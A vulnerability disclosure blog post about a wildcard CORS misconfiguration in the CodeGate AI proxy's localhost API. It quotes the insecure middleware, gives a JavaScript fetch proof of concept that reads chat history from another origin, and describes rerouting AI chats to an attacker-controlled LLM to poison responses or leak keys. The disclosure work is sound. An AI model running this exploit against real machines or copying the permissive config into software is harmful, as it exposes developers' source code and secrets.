Code Gate CORS Exploit
Posted on 10 August 2025
My current role at ControlPlane comes with some nice perks, one of them is I get 7 free dedicated self-learning days a year when I am free to pick any topic to learn about and sharpen my skills.
In this training day I decided to look at CodeGate, an open source AI Security product which sits in between your AI agent and your IDE to provide a number of security features. Such as preventing PII from being leaked and stopping the AI agent from installing any vulnerable npm packages.
What started off as a simple “lets play with a AI tool” day quickly turned into “oops I think I’ve found a exploit” as I performed a light code review.
I wanted to understand how the PII detection worked. I started by tracing the code path and I landed back at the API Server config. Here the CORS config stood out as miss configured, which allowed any origin (*) to make calls to the API server.
The practical upshot of this miss configuration meant that if a developer visited a malicious website on the internet, such as a blog article. Javascript running on that page could perform a REST request to the API server running on localhost on the developer machine and interact with Code Gate software without the developer’s knowledge.
The browsers same origin policy would help prevent this kind of attack but the CORS config being used allows any origin, using any method, including authentication to perform requests to the API server. Code gate does also not include any CSRF tokens which can also help mitigate this kind of attack.
Due to the nature of the Code Gate tool this ended up having some interesting consequences, including:
- Reading chat history to gain access to source code or secrets.
- Changing code gate settings without the developer knowing.
- Overriding the developers AI Agent “provider” and mux settings to send chat requests to a attacker controlled proxy LLM.
- This could be used to gain persistent access to all further AI conversations.
- Could be used to poison AI responses to generate insecure code or provide false information
- The “passthrough” authentication type can be used to leak LLM API keys
I reported the issue on Github with a CVSS of 8.0 (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) however, shortly after reporting the Issue I was informed that the project is no longer maintained and has been archived. Sadly the report is still private on GitHub and I was not allocated a CVE number :( So I have published the details here.
Patch
I’ve created a fork of the Code Gate project on my personal GitHub and removed the miss configured CORS. I make no assurances to the security of the rest of the project. You can find the project here: https://github.com/copethomas/codegate
I have presented the information below as it was reported through the GitHub Vuln program:
Insecure CORS config - Localhost API interface vulnerable to CSRF:
Summary
The Code Gate API server listening on http://localhost:8989/api/v1/ includes a insecure CORS middleware allowing all origins, credentials, methods and headers. This leaves a developers workstation vulnerable to CSRF when visiting a malicious website on the internet.
Details
Source commit: https://github.com/stacklok/codegate/commit/71e05884b630256d646a5873beea059928c8645f
Insecure code:
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
This CORS configuration allows any “origin” (any website on the internet) to perform a REST request to the Code Gate API when a developer visits a malicious website. This would allow the malicious website to read chat history (potentially exposing source code or secrets) or change the Mux settings to route the AI chats through a malicious AI server.
These actions can be performed without authentication and in the background without the user knowing or interacting with the malicious website (apart from visiting it).
PoC
On a different origin (such as https://tomcope.com) paste the following Javascript into the console:
fetch("http://localhost:8989/api/v1/workspaces/default/messages?page=1&page_size=20", {
"headers": {
"accept": "*/*",
"accept-language": "en-US,en;q=0.9",
},
"body": null,
"method": "GET",
"mode": "cors",
"credentials": "omit"
}).then(response => {
// Check if the request was successful
if (!response.ok) {
throw new Error('Network response was not ok ' + response.statusText);
}
return response.json(); // Parses the response body as JSON
})
.then(data => {
console.log('Fetched JSON data:', data); // Prints the parsed JSON data
})
.catch(error => {
console.error('There has been a problem with your fetch operation:', error);
});
Notice how the request was successful and not blocked by CORS.
Full proof of concept exploit website:
Timeline
- 19th May 2025 = Initial Report filed via GitHub
- 5th June 2025 - @dussab acknowledges finding and informed about project no longer being maintained and will soon be archived
- 5th June 2025 - GitHub project Archived
- 14th June 2025 - Requested CVE number and the report to be published
- 9th Aug 2025 - Fork created and patch applied
- 10th Aug 2025 - Report made public via personal website
Total time elapsed between initial report and resolution = n/a - Partially resolved